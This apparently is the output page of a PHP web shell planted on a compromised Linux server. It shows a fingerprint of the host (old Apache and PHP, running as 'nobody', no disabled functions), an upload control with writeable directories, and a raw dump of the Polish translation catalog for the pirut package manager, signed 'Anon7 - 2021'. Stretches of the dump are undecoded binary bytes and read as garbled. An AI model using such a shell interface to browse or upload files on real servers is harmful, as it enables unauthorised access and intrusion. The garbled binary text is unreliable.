KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/pl/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/pl/LC_MESSAGES/pirut.mo
LF	(PDy
*<
Q_	y"\!#YE;hDXatQ%<.ks+


"7#9:Q3	''<RfzQpU.j'C(&H$o"1%6I!X-z#

9 Zuy	&0#C"g
0-A9o- (x!'eZ=([K "i } !
!1,!K^!'!k!->"l"
"""'"""##/#QA#	###<#8#6$DS$~$%
%,%3%B%J%R%Y%	m%w%%%%%%%%%%%%
&& &,&5&F&
U&c&j&r&z&&&&&&rT(](%))))))**$0*U*d*	*'*a* +"8+][+B+k+h,{,,,,,O,5;-Gq-
-/-%-.).>.D.X.v...&'/#N/*r/3/,/<//;0k0t0
0"00#0011
61D1[W1~1 22 S2"t2H22#3&$3K3e3*~383344)4942F4$y444(44"5E:5#5#55r5	S6]6'u6(6
6&6$6 7*27]7-w77<7J7=I848=88?99:2;TR;4;;Nq<.<<5q=K=V=.J>vy>4>%?>?P?i?+?'???@$@[B@@@@q@PA-ABB~NB
BB	BBCC$C-CCC%LCrCCCCCCCCCCC	DDD
0D;DSDbDoDwDD%DDDDD]
v-e0H?yR}(oTWYrEOF:^_X&m;8Bub)cU'Cads
.f=Jjk M<7@gq6NP~%n3`2AQ\[+/i*,Dp	5#1L9{I$"xwlht4zSK!G>VZ|%d of %d optional package selected%d of %d optional packages selected%d update available%d updates available%d update successfully installed.%d updates successfully installed.%s obsoletes %s%s updates %s<b>Re_positories</b><b>_Advanced</b><b>_Description:		</b><b>_GPG Key:</b><b>_Location:</b><b>_Mirror List:</b><b>_Name:</b><b>_Updates available</b><i>%s</i><span size="large" >_Browse</span><span size="large">There are no updated packages currently available for your system.</span><span size="large">_List</span><span size="large">_Search</span><span size="xx-large" weight="bold">Package Manager</span>

<i>© 2005  Red Hat, Inc.</i><span weight="bold"
 size="xx-large">Package Updater</span><span weight="bold" size="x-large">Installing packages</span>

The following packages will be installed.A_vailable packagesAbout...Add New RepositoryAdd/Remove PackagesAdd/Remove SoftwareAdding for dependencies:
Another application is currently running which is accessing software information.Automatic update installation failed!Can't install a different arch of %s than already installed.Cancel?Cannot install source packages.Change the software installed on the systemCleanup %sConfig error.ContinueDependencies addedDon't notify me againDownload was cancelled.Downloading packagesDue to the updates installed, it is recommended that you reboot your system.  You can either reboot now or choose to do so at a later time.Error downloading headersError downloading packagesError resolving dependenciesError retrieving update informationError updating softwareErrors were encountered while downloading package headers.Errors were encountered while downloading packages.ExitImport key?Insert CDInstall and remove packages as selectedInstall packagesInstall selected software on the systemInstallation OverviewInstalling packagesInstalling softwareInstalling:Invalid URLInvalid URL given.  URLs must be begin with http://, https://, ftp://, or file://Malicious software can damage your computer or cause other harm.  Are you sure you wish to install this package?Must be run as root.Must provide a description for the repository.Must provide a name for the repository.Must provide either a location or a mirror list for the repository.No Match for argument: %sNo packages were given for installation.No packages were selected for upgrade.No repository given to install from.No repository selectedNo software matching search found.No software selected for installation or removal.No updates availablePackage ManagerPackage _DetailsPackage selectionsPackages in %sParsing package install argumentsPlease insert %s (disc %d) into your CD drivePlease insert %s into your CD drivePreparing transactionReading software informationReboot _laterReboot recommendedReceive notification of software updates being available.Refresh update informationRemoving critical softwareRemoving for dependencies:
Removing this could leave you with no kernels and thus lead to a non-bootable system.  Are you sure you want to continue?Removing:Repository ManagerRepository named %s already exists.Resolving dependencies for updatesRetrieving %sRetrieving software informationRetrieving update informationSearching for '%s'Security Updates AvailableSoftware InstallerSoftware Update NotifierSoftware UpdaterSoftware information is required to continue.Software installation and removal successfully completed.Software installation successfully completed.Software installed successfully.Software removal successfully completed.Software selected and not installed.  Would you like to finish installing or quit anyway, losing all package selections?Software update successfully completed.Some of the software which you are removing is either critical software for system functionality or required by such software.  Are you sure you want to continue?Some packages associated with this group are not required to be installed but may provide additional functionality.  Please choose the packages which you would like to have installed.System is not receiving updatesThe package %s is signed with a key %s (0x%s) from %s.  Would you like to import this key?The software was successfully installed.There is <b>%d</b> package update available.There are <b>%d</b> package updates available.There were errors encountered in trying to update the software you selectedThis update will require a reboot.Unable to connect to yum-updatesd.  Please ensure that the yum-updatesd package is installed and that the service is running.Unable to find a suitable mirror.Unable to install software.  Error opening files.Unable to resolve dependencies for some packages selected for installation.Unable to retrieve software informationUnable to retrieve software information. This could be caused by not having a network connection available.Unable to start due to a configuration error.Unable to verify %sUncategorizedUpdate DetailsUpdate SuccessfulUpdate software installed on the systemUpdated %s packages availableUpdates AvailableUpdating %sUpdating for dependencies:
Updating softwareUpdating these packages requires additional package changes for proper operation.Updating:Verifying packagesView Updates...Will continue in %d second...Will continue in %d seconds...Will reboot in %d second...Will reboot in %d seconds...Will reboot in %d seconds...You have selected the following software installations and removals.Your system is currently not receiving software updates.  Please check your network connection and/or set up software updates._About_All packages_Apply_Apply updates_Browse_Cancel_Close_Continue retrieval_Deselect_Deselect all optional packages_Details_Don't quit_Edit_Exit_File_Help_Import key_Install anyway_Installed packages_List_Optional packages_Quit_Quit anyway_Reboot now_Refresh_Refresh updates_Remove anyway_Repositories_Retry_Search_Select_Select all optional packages_Update Info_View_View Updates...dialog1Project-Id-Version: pl
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-08-29 17:18-0400
PO-Revision-Date: 2007-08-30 14:47+0200
Last-Translator: Piotr Drąg <raven@pmail.pl>
Language-Team: Polish <pl@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms:  nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
Wybrano %d z %d opcjonalnego pakietuWybrano %d z %d opcjonalnych pakietówWybrano %d z %d opcjonalnych pakietówDostępna jest %s aktualizacjaDostępne są %s aktualizacjeDostępnych jest %s aktualizacjiZ powodzeniem zainstalowano %d aktualizację.Z powodzeniem zainstalowano %d aktualizacje.Z powodzeniem zainstalowano %d aktualizacji.%s zastępuje %s%s aktualizuje %s<b>Repozytoria</b><b>Z_aawansowane</b><b>_Opis:		</b><b>Klucz _GPG:</b><b>_Położenie:</b><b>_Lista serwerów lustrzanych:</b><b>_Nazwa:</b><b>Dostępne akt_ualizacje</b><i>%s</i><span size="large" >_Przeglądaj</span><span size="large">W tej chwili nie ma dostępnych zaktualizowanych pakietów dla systemu.</span><span size="large">_Lista</span><span size="large">_Znajdź</span><span size="xx-large" weight="bold">Menedżer pakietów</span>

<i>© 2005  Red Hat, Inc.</i><span weight="bold"
 size="xx-large">Aktualizator pakietów</span><span weight="bold" size="x-large">Instalowanie pakietów</span>

Poniższe pakiety zostaną zainstalowane._Dostępne pakietyInformacje o...Dodaj nowe repozytoriumDodaj/usuń pakietyDodaj/usuń oprogramowanieDodawanie zależności:
Uruchomiona jest inna aplikacja mająca dostęp do informacji o oprogramowaniu.Automatyczna instalacja pakietów nie powiodła się!Nie można zainstalować innej architektury %s niż już zainstalowana.Anulować?Nie można instalować pakietów źródłowych.Zmiana zainstalowanego oprogramowaniaCzyszczenie %sBłąd konfiguracji.DalejDodano zależnościNie powiadamiaj mnie ponownieAnulowano pobieranie.Pobieranie pakietówZalecane jest ponowne uruchomienie systemu, ponieważ zainstalowano aktualizacje. Można zrobić to teraz lub w późniejszym czasie.Błąd podczas pobierania nagłówkówBłąd podczas pobierania pakietówBłąd podczas rozwiązywania zależnościBłąd podczas pobierania informacji o aktualizacjiBłąd podczas aktualizowania oprogramowaniaNapotkano błędy podczas pobierania nagłówków pakietów.Napotkano błędy podczas pobierania pakietów.ZakończZaimportować klucz?Włóż CDZainstaluj i usuń wybrane pakietyZainstaluj pakietyInstalacja wybranego oprogramowaniaPrzegląd instalacjiInstalowanie pakietówInstalowanie oprogramowaniaInstalowanie:Nieprawidłowy URLPodano nieprawidłowy URL. URL musi zaczynać się od http://, https://, ftp:// lub file://Złośliwe oprogramowanie może zniszczyć komputer lub wyrządzić inne szkody. Czy na pewno chcesz zainstalować ten pakiet?Musi być uruchomione jako root.Musisz podać opis repozytorium.Musisz podać nazwę repozytorium.Musisz podać położenie lub listę serwerów lustrzanych repozytorium.Brak wyników dla argumentu: %sNie podano pakietów do instalacji.Nie wybrano pakietów do aktualizacji.Nie podano repozytoriów.Nie wybrano repozytoriumNie znaleziono pasującego oprogramowania.Nie wybrano oprogramowania do instalacji lub usunięcia.Brak dostępnych aktualizacjiMenedżer pakietów_Szczegóły pakietuWybrane pakietyPakiety w %sAnalizowanie argumentów instalacji oprogramowaniaWłóż %s (płyta %d) do napędu CDWłóż %s do napędu CDPrzygotowywanie transakcjiOdczytywanie informacji o oprogramowaniuU_ruchom ponownie późniejZalecane jest ponowne uruchomienieOtrzymywanie powiadomień o dostępności aktualizacji oprogramowaniaOdśwież informacje o aktualizacjiUsuwanie krytycznego oprogramowaniaUsuwanie zależności:
Usunięcie tego może spowodować brak jądra i uniemożliwić uruchamianie systemu. Na pewno chcesz kontynuować?Usuwanie:Menedżer repozytoriówRepozytorium o nazwie %s już istnieje.Rozwiązywanie zależności aktualizacjiPobieranie %sPobieranie informacji o oprogramowaniuPobieranie informacji o aktualizacjiWyszukiwanie "%s"Dostępne są aktualizacje bezpieczeństwaInstalator oprogramowaniaPowiadamianie o aktualizacjach oprogramowaniaAktualizator oprogramowaniaInformacja o oprogramowaniu jest wymagana, aby kontynuować.Instalacja i usunięcie oprogramowania zostało z powodzeniem zakończone.Instalacja oprogramowania została z powodzeniem zakończona.Oprogramowanie zostało z powodzeniem zainstalowane.usunięcie oprogramowania zostało z powodzeniem zakończone.Oprogramowanie zostało wybrane, ale nie zainstalowane. Czy chcesz zakończyć instalowanie czy zakończyć mimo to, tracąc cały wybór pakietów?Aktualizacja oprogramowania została z powodzeniem zakończona.Niektóre oprogramowanie, które chcesz usunąć jest oprogramowaniem krytycznym dla funkcjonowania komputera lub wymaganym przez takie oprogramowanie. Na pewno chcesz kontynuować?Niektóre pakiety związane z tą grupą nie są wymagane do zainstalowania, ale mogą dostarczać dodatkowe funkcjonalności. Wybierz pakiety, które chcesz zainstalować.System nie pobiera aktualizacjiPakiet %s jest podpisany kluczem %s (0x%s) z %s. Czy chcesz zaimportować ten klucz?Oprogramowanie zostało z powodzeniem zainstalowane.Dostępna jest <b>%s</b> aktualizacja pakietów.Dostępne jest <b>%s</b> aktualizacje pakietów.Dostępnych jest <b>%s</b> aktualizacji pakietów.Napotkano błędy podczas próbowania zaktualizowania wybranego oprogramowaniaTa aktualizacja wymaga ponownego uruchomienia.Nie można połączyć się z yum-updatesd. Upewnij się, że pakiet yum-updatesd jest zainstalowany, a usługa jest uruchomiona.Nie można znaleźć pasującego serwera lustrzanego.Nie można zainstalować oprogramowania. Błąd podczas otwierania plików.Nie można rozwiązać zależności dla niektórych pakietów wybranych do instalacji.Nie można pobrać informacji o oprogramowaniuNie można pobrać informacji o oprogramowaniu. Może to być spowodowane brakiem dostępnego połączenia sieciowego.Nie można uruchomić z powodu błędu konfiguracji.Nie można sprawdzić %sNie w kategoriachSzczegóły aktualizacjiAktualizacja powiodła sięAktualizacja zainstalowanego oprogramowaniaDostępne są zaktualizowane pakiety %sDostępne są aktualizacjeAktualizowanie %sAktualizowanie zależności:
Aktualizowanie oprogramowaniaZaktualizowanie tych pakietów wymaga dodatkowych zmian pakietów do poprawnego działania.Aktualizowanie:Sprawdzanie pakietówWyświetl aktualizacje...Będzie kontynuowane za %d sekundę...Będzie kontynuowane za %d sekundy...Będzie kontynuowane za %d sekund...Zostanie ponownie uruchomiony za %d sekundę...Zostanie ponownie uruchomiony za %d sekundy...Zostanie ponownie uruchomiony za %d sekund...Zostanie ponownie uruchomiony za %d sekund...Wybrano następujące oprogramowania do instalacji lub usunięcia.System obecnie nie pobiera aktualizacji oprogramowania. Sprawdź połączenie sieciowe i/lub ustaw aktualizacje oprogramownia._Informacje oWszystkie p_akietyZ_astosujZ_astosuj aktualizacjeP_rzeglądaj_AnulujZa_mknij_Kontynuuj pobieranieO_dznaczO_dznacz wszystkie pakiety opcjonalne_Szczegóły_Nie zamykaj_EdycjaZa_mknij_PlikPomo_cZa_importuj kluczZa_instaluj mimo toZa_instalowane pakiety_ListaPakiety _opcjonalneZa_kończ_Zakończ mimo toU_ruchom ponownieO_dświeżO_dśwież aktualizacje_Usuń mimo to_Repozytoria_Ponów_Znajdź_ZaznaczWybierz w_szystkie pakiety opcjonalneInformacje o akt_ualizacji_Widok_Wyświetl aktualizacje...okno dialogowe 1

Anon7 - 2021